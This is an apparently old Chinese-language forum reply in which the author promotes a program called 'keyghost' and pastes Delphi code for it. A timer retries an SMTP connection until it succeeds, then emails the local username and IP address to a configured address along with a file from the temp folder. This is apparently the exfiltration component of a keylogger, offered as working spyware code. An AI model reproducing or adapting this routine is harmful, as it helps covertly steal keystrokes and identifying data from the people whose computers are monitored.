Mr.帅帅 你想要发email来检测是否联网 ,我把程序贴出来了
加一个timer组件和smtp组件.
我编写了一个叫keyghost的软件.您可以看看!!!
<a href="http://sunstone.163.net" target="_blank">http://sunstone.163.net</a></font>
</font>&amp;
procedure TKeySystem.NetTimerTimer(Sender: TObject);
begin
NetTimer.Enabled:=false;
SMTP.Host := trim(SmtpServer.Text);
smtp.Port:=25;
SMTP.UserID:='';
try
SMTP.Connect;
except
on EsockError do
begin
SMTP.cancel;
NetTimer.Enabled:=true;
end;
else
begin
smtp.cancel;
NetTimer.Enabled:=true;
end;
end;
end;
procedure TKeySystem.SMTPConnect(Sender: TObject);
var
username:array[0..30] of char;
size:dword;
temppath: array [0..144] of char;
begin
gettemppath(144,temppath);
size:=sizeof(username);
FillChar(username, Size, ' ');
getusername(username,size);
with smtp do
begin
PostMessage.FromAddress:=LocalIP;
PostMessage.FromName:=trim(strpas(username));
PostMessage.Subject:= 'KeyGhost';
PostMessage.Date:=datetimetostr(now);
PostMessage.ToBlindCarbonCopy.Clear;
PostMessage.ToCarbonCopy.clear;
PostMessage.ToAddress.Clear;
PostMessage.ToAddress.Add(EmailAddr.Text);
PostMessage.Attachments.Clear;
PostMessage.Attachments.add(strpas(temppath)+extractfilename(esavefile.caption));
SendMail;
end;
end;